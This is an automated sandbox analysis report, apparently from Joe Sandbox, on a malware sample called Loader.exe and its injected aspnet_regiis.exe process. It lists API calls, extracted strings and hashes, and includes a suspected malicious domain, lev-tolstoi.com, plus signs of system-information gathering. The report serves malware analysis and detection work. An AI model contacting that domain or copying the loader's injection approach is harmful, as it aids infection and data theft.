FreeLibrary.KERNEL32(00000000,?,?,6CE51494,00000000,?,00000001,00000000,?,6CE5150B,00000001,FlsFree,6CE5B344,FlsFree,00000000), ref: 6CE51463

Strings

api-ms-, xrefs: 6CE51423

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: f201576d664ed4b2fc786d749429cc553b348ac852289bd7771220191f8d0d7f
Instruction ID: 804e5988385779e8152a602e8d584141c1f81eb65162bdb02567eb5f51065bd8
Opcode Fuzzy Hash: f201576d664ed4b2fc786d749429cc553b348ac852289bd7771220191f8d0d7f
Instruction Fuzzy Hash: CA11C631B41665ABDB124EE9CC80B5D37B59F027B8FB50210E916EBB80D7B2ED1486E1

Function 6CE51DE7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6CE51D99,?,?,6CE51D61,?,00000001,?), ref: 6CE51DFC
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6CE51E0F
FreeLibrary.KERNEL32(00000000,?,?,6CE51D99,?,?,6CE51D61,?,00000001,?), ref: 6CE51E32

Strings

mscoree.dll, xrefs: 6CE51DF5
CorExitProcess, xrefs: 6CE51E07

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 25820f47b480369f1a0e6bc105cb4f23b785a0a4e25e1d626439f5e760b2d5bf
Instruction ID: e5c131fc4fa4b41ee49cea5d6c46015bab69f52a6707385dfb6bc2c6fda2e457
Opcode Fuzzy Hash: 25820f47b480369f1a0e6bc105cb4f23b785a0a4e25e1d626439f5e760b2d5bf
Instruction Fuzzy Hash: B8F0A031A41218FBDF019F90CD09BAF7BB9EB0435AFB00060F500A2250DB36CE10DBA1

Function 6CE576B5 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 6CE576CD

Part of subcall function 6CE52F67: HeapFree.KERNEL32(00000000,00000000,?,6CE52479), ref: 6CE52F7D
Part of subcall function 6CE52F67: GetLastError.KERNEL32(?,?,6CE52479), ref: 6CE52F8F

_free.LIBCMT ref: 6CE576DF
_free.LIBCMT ref: 6CE576F1
_free.LIBCMT ref: 6CE57703
_free.LIBCMT ref: 6CE57715

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f6241910e023049e312c88f68e0e38e09a891206c98c3d582b3ed2bc21506288
Instruction ID: 64f280ece884102f7ca370c36db33f065ca6495034c465c78d85b038f039c609
Opcode Fuzzy Hash: f6241910e023049e312c88f68e0e38e09a891206c98c3d582b3ed2bc21506288
Instruction Fuzzy Hash: C7F04F315153049F8A04CBA8F489C5B33F9EB007187F04809F428E7F40CB33F8A08AA4

Function 6CE570DC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6CE5686F: GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 6CE568B7

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,6CE55099,?,00000000,00000000,6CE5FB78,0000002C,6CE5510A,?), ref: 6CE57222
GetLastError.KERNEL32 ref: 6CE5722C
__dosmaperr.LIBCMT ref: 6CE5726B

Strings

Ql, xrefs: 6CE570DE

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite__dosmaperr
String ID: Ql
API String ID: 910155933-1079734651
Opcode ID: 53a72c140246bbe9c2540fbd9fa4775657eef9545b6ee70a7316d734866f79d5
Instruction ID: 9c218d0bec657721027d927d364ef175d56e89b37a98abff9a89fc91e0fd3a5c
Opcode Fuzzy Hash: 53a72c140246bbe9c2540fbd9fa4775657eef9545b6ee70a7316d734866f79d5
Instruction Fuzzy Hash: B851E6B6A10209ABDB018FA5C944FDE7B79EF4631CFB48049E400ABB41D733DA768760

Function 6CE53185 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CE537A7: _free.LIBCMT ref: 6CE537B5

Part of subcall function 6CE5437B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,6CE56313,?,00000000,00000000), ref: 6CE54427

GetLastError.KERNEL32 ref: 6CE531ED
__dosmaperr.LIBCMT ref: 6CE531F4
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6CE53233
__dosmaperr.LIBCMT ref: 6CE5323A

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 1dc39052506076d9139bf905155369ec25f1cff5de83fec29adf97360038edb9
Instruction ID: 799b903575a36e43ac866806814e451bb7d95830e9768ff04016a1006608ab68
Opcode Fuzzy Hash: 1dc39052506076d9139bf905155369ec25f1cff5de83fec29adf97360038edb9
Instruction Fuzzy Hash: 3921D671604A05BFD7105F668C8089777BCEF4236C7B48618F91897B40E733ED2587A0

Function 6CE52C27 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6CE56CB7,?,00000001,6CE5510A,?,6CE57171,00000001,?,?,?,6CE55099,?,00000000), ref: 6CE52C2C
_free.LIBCMT ref: 6CE52C89
_free.LIBCMT ref: 6CE52CBF
SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,6CE57171,00000001,?,?,?,6CE55099,?,00000000,00000000,6CE5FB78,0000002C,6CE5510A), ref: 6CE52CCA

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 04c5caf1d4682b7a5a1be07c1ebc1910a46a7258ced752c5b582ee5ddb1ac4de
Instruction ID: 1aaefc744e81eaef04d3f59bb70d151df1c1f29893636510b0c96217e3841333
Opcode Fuzzy Hash: 04c5caf1d4682b7a5a1be07c1ebc1910a46a7258ced752c5b582ee5ddb1ac4de
Instruction Fuzzy Hash: 3411A7363145016EDA0156BA5CC8E6B267A9BD277C7B50229F524D7BC1DB73C83A8520

Function 6CE52D7E Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000001,6CE53050,6CE52F8D,?,?,6CE52479), ref: 6CE52D83
_free.LIBCMT ref: 6CE52DE0
_free.LIBCMT ref: 6CE52E16
SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,00000001,6CE53050,6CE52F8D,?,?,6CE52479), ref: 6CE52E21

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: e7dfeffac2e1f49d501865f2d52ab44c05f2dd5eaab5b8f5519235e3170cf16d
Instruction ID: 96706e9173d4c2c180eae5a842e21151e8b4f9c8d69d0f9595f6a651652e9670
Opcode Fuzzy Hash: e7dfeffac2e1f49d501865f2d52ab44c05f2dd5eaab5b8f5519235e3170cf16d
Instruction Fuzzy Hash: C711EC363145106ED60215B95CC8E6B267ADBD377C7B40228F524D77C0DF338C3A8620

Function 6CE57F06 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6CE57960,?,00000001,?,00000001,?,6CE56C46,?,?,00000001), ref: 6CE57F1D
GetLastError.KERNEL32(?,6CE57960,?,00000001,?,00000001,?,6CE56C46,?,?,00000001,?,00000001,?,6CE57192,6CE55099), ref: 6CE57F29

Part of subcall function 6CE57EEF: CloseHandle.KERNEL32(FFFFFFFE,6CE57F39,?,6CE57960,?,00000001,?,00000001,?,6CE56C46,?,?,00000001,?,00000001), ref: 6CE57EFF

___initconout.LIBCMT ref: 6CE57F39

Part of subcall function 6CE57EB1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6CE57EE0,6CE5794D,00000001,?,6CE56C46,?,?,00000001,?), ref: 6CE57EC4

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6CE57960,?,00000001,?,00000001,?,6CE56C46,?,?,00000001,?), ref: 6CE57F4E

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 4584d93ebf3334c297cb5a19a49799a48670bacd8485220eb25fa17ac51699f6
Instruction ID: f815bf2764911ec898b23533df0153bff1f0e4521afef632e37303752d0172b8
Opcode Fuzzy Hash: 4584d93ebf3334c297cb5a19a49799a48670bacd8485220eb25fa17ac51699f6
Instruction Fuzzy Hash: 7CF0F836660114BBCF566E95DC0499A3F76FB097B4F948014FE1885620CA378930EBA4

Function 6CE51E75 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\Loader.exe, xrefs: 6CE51EB8, 6CE51EBF, 6CE51EF5

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\Loader.exe
API String ID: 0-2956264872
Opcode ID: 831fca60f33a4c81fe305ee968a15ee7b5bfa31d0ca91bc09d078a424e31a6fa
Instruction ID: c7df9ef5b9b19d5ec2eaf5b3ccca4b0876f43e7dd00f0da025d7061ea56ff8bc
Opcode Fuzzy Hash: 831fca60f33a4c81fe305ee968a15ee7b5bfa31d0ca91bc09d078a424e31a6fa
Instruction Fuzzy Hash: 63418E75E04214AFCB119FD9D8829DEBBB8EF8A708FB4006AE414A7740D7738A64C760

Function 6CE56750 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6CE5660F: EnterCriticalSection.KERNEL32(00000001,?,6CE5704E,?,6CE5FC18,00000010,6CE551AD,00000000,00000000,?,?,?,?,6CE551F1,?,00000000), ref: 6CE5662A

FlushFileBuffers.KERNEL32(00000000,6CE5FBF8,0000000C,6CE56857,Ql,?,00000001,?,6CE5510A,?), ref: 6CE56799
GetLastError.KERNEL32 ref: 6CE567AA

Strings

Ql, xrefs: 6CE567D1

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: BuffersCriticalEnterErrorFileFlushLastSection
String ID: Ql
API String ID: 4109680722-1079734651
Opcode ID: c94376281d31228557a1f3a88f5897e7e479b7cac9262494b7ba7a0be5feed55
Instruction ID: 5d7aec52b2caae7a1c516d2b22fc448f5cde805beddfb7583b09a9f01fc30d8f
Opcode Fuzzy Hash: c94376281d31228557a1f3a88f5897e7e479b7cac9262494b7ba7a0be5feed55
Instruction Fuzzy Hash: 8F019272A00710CFC7149FB8D94469E7BB4EB49724F60411EE411DB7D0D7B6D9558B50

Analysis Process: aspnet_regiis.exePID: 5772, Parent PID: 3496COMMON

Execution Graph

Execution Coverage:	9.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	59.6%
Total number of Nodes:	497
Total number of Limit Nodes:	38

Executed Functions

Function 72C52E6D Relevance: 47.0, APIs: 3, Strings: 23, Instructions: 1504COMMON

Download Yara Rule

Strings

8]pY, xrefs: 72C52EFF
s, xrefs: 72C52FCA
~SS}, xrefs: 72C52F37
JOSP, xrefs: 72C52F6F
I, xrefs: 72C53048
- $f, xrefs: 72C53038
eN, xrefs: 72C541BA
wdnf, xrefs: 72C52F07
lev-tolstoi.com, xrefs: 72C533BD
9#', xrefs: 72C53040
_^]\, xrefs: 72C52EA5
].n^, xrefs: 72C52F57
g}zh, xrefs: 72C52F27
=]=_, xrefs: 72C53D0E
rp, xrefs: 72C53FF3
R03!, xrefs: 72C52F77
V], xrefs: 72C531FA
CNF8, xrefs: 72C52F3F
Fm, xrefs: 72C531F2
+A#C=]=_, xrefs: 72C53F9D
_^]\, xrefs: 72C53695
%", xrefs: 72C5334A
Q*RG, xrefs: 72C52F5F

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: %"$+A#C=]=_$- $f$8]pY$9#'$=]=_$CNF8$Fm$I$JOSP$Q*RG$R03!$V]$].n^$_^]\$_^]\$eN$g}zh$lev-tolstoi.com$s$wdnf$~SS}$rp
API String ID: 0-796191818
Opcode ID: 688215a99f4b0a2e654ead558b02c19c0b5e7613f83424743a1e0884aafa2051
Instruction ID: 27b35d32d93a68c811ad7c6bf2a3c617b76fa1057ba77d09a51b9bf02c04dbea
Opcode Fuzzy Hash: 688215a99f4b0a2e654ead558b02c19c0b5e7613f83424743a1e0884aafa2051
Instruction Fuzzy Hash: 10B202B2A04341CFD714CF2AC89176BBBB2FB95314F298A6CE4959B391D734D806CB91

Function 72C69280 Relevance: 33.9, APIs: 11, Strings: 8, Instructions: 653
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(72C7368C,00000000,00000001,72C7367C,00000000), ref: 72C694CF
SysAllocString.OLEAUT32(00001F7A), ref: 72C69550
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 72C6958E
SysAllocString.OLEAUT32(8DFD93FD), ref: 72C69625
SysAllocString.OLEAUT32(4A105420), ref: 72C69706
VariantInit.OLEAUT32(?), ref: 72C69774
VariantClear.OLEAUT32(?), ref: 72C698BC
SysFreeString.OLEAUT32 ref: 72C698DF
SysFreeString.OLEAUT32(?), ref: 72C698E5
SysFreeString.OLEAUT32(00000000), ref: 72C698F6
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,00001F7A,00000000,00000000,00000000,00000000), ref: 72C6992E

Strings

gd, xrefs: 72C6968E
O^, xrefs: 72C697A6
=hn, xrefs: 72C69676
Jtuj, xrefs: 72C692E5
:;$%, xrefs: 72C699C0
SB, xrefs: 72C6979E
t"j, xrefs: 72C6966E
b{tu, xrefs: 72C692D9, 72C6939B

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: :;$%$=hn$Jtuj$O^$SB$b{tu$gd$t"j
API String ID: 2573436264-1335595022
Opcode ID: f5ce5c694c8ba861100af443246ae88eafdb033e422f2f5732706555f3869833
Instruction ID: 3c435cad67f5b4446a5f0f0d0909e0aca5ee3e84c9280e78065e6164dd5e4990
Opcode Fuzzy Hash: f5ce5c694c8ba861100af443246ae88eafdb033e422f2f5732706555f3869833
Instruction Fuzzy Hash: 74222376A083419BD300CF29C880B6BBBE2EFD5314F148A6CF9959B391D775D946CB82

Function 72C457C0 Relevance: 29.7, APIs: 1, Strings: 15, Instructions: 1713COMMON

Download Yara Rule

Strings

L4, xrefs: 72C46780
*,-", xrefs: 72C466EF
{zdy, xrefs: 72C4611D
WQ, xrefs: 72C459E3
pt}w, xrefs: 72C461F2
qRb`, xrefs: 72C46133
_^]\, xrefs: 72C45B14
t~v:, xrefs: 72C461E7
uqrs, xrefs: 72C46AF0
L4, xrefs: 72C46BA0
ntxE, xrefs: 72C46112
w}MI, xrefs: 72C46128
~mfQ, xrefs: 72C4613E
S\], xrefs: 72C459EE
3F&D, xrefs: 72C46273

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: *,-"$3F&D$_^]\$ntxE$pt}w$qRb`$t~v:$uqrs$w}MI${zdy$~mfQ$S\]$WQ$L4$L4
API String ID: 0-510280711
Opcode ID: e390dcf5c497e26306c88e7be88e81c99a1580868d719d933393d7f892ada6f5
Instruction ID: 73ab45b1a1ef3ee0cd622b12da568f12c3f45a0ed01cb5b62f5416736fe4a8b7
Opcode Fuzzy Hash: e390dcf5c497e26306c88e7be88e81c99a1580868d719d933393d7f892ada6f5
Instruction Fuzzy Hash: 06C204B26082408FD725CF28C8917ABBBE2FFE5314F254A2CD5DA87395DB359805CB42

Function 72C41227 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 750
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L, xrefs: 72C41846
+, xrefs: 72C417CB
), xrefs: 72C41A4D
`, xrefs: 72C413A4
F, xrefs: 72C4184E
>, xrefs: 72C416FF
@, xrefs: 72C417D0
[, xrefs: 72C41555

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: )$+$>$@$F$L$[$`
API String ID: 0-4163809010
Opcode ID: a1a867c6a02453380212e8cbe4681866eb857501bd7be1d102ae7ce6f306a721
Instruction ID: d676815b95bc35da4b8a40234bc9029f247e8fcf5659a5ab9d5dd2d6e611977c
Opcode Fuzzy Hash: a1a867c6a02453380212e8cbe4681866eb857501bd7be1d102ae7ce6f306a721
Instruction Fuzzy Hash: 81527E7260C7808BD3259B3DC49439FBFE1ABAA324F195A2ED4D9C7381DA748945CB43

Function 72C539B9 Relevance: 14.8, APIs: 3, Strings: 5, Instructions: 821
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

=]=_, xrefs: 72C53D0E
rp, xrefs: 72C53FF3
_^]\, xrefs: 72C53865
eN, xrefs: 72C541BA
+A#C=]=_, xrefs: 72C53F9D

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: +A#C=]=_$=]=_$_^]\$eN$rp
API String ID: 0-2225558837
Opcode ID: fc355ca2facdb06157fa6777e6885cbe4b28eef7dfee084b9aa9e7df5b028f47
Instruction ID: af59bf2c3d44ca65e641ce57449572066d9164f8196740b8f977b860ceeb27f5
Opcode Fuzzy Hash: fc355ca2facdb06157fa6777e6885cbe4b28eef7dfee084b9aa9e7df5b028f47
Instruction Fuzzy Hash: 2E4249B2A04201CFD714CF6AC8917AABBB2FF99310F2986ACD4459F395D734D946CB90

Function 72C38600 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 351
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 72C38624
GetCurrentThreadId.KERNEL32 ref: 72C3862E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 72C387FA
GetForegroundWindow.USER32 ref: 72C38974

Part of subcall function 72C3B7B0: FreeLibrary.KERNEL32(72C38A31), ref: 72C3B7B6
Part of subcall function 72C3B7B0: FreeLibrary.KERNEL32 ref: 72C3B7D7

ExitProcess.KERNEL32 ref: 72C38A4A

Strings

}, xrefs: 72C38913
b]u), xrefs: 72C38877
}, xrefs: 72C3890C

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID: b]u)$}$}
API String ID: 3676751680-2900034282
Opcode ID: 9a0cf0c86e2803da41fad72ecfd2f232b470566eeed4aa13e2b64e70f2a34c86
Instruction ID: 9950729585a0452a1964da42f151d43aa1119b42ce448ee689646f50f34822cd
Opcode Fuzzy Hash: 9a0cf0c86e2803da41fad72ecfd2f232b470566eeed4aa13e2b64e70f2a34c86
Instruction Fuzzy Hash: 25C1F873A187144BC708DF6DC84135AF7D6ABD4710F1ACA2DA899E7355EA74DC048BC2

Function 72C3CE45 Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 341
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 72C3CE55

Strings

6=.), xrefs: 72C3CF3B
`{tu, xrefs: 72C3D1A8
lev-tolstoi.com, xrefs: 72C3D266
<1!9, xrefs: 72C3CF34

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
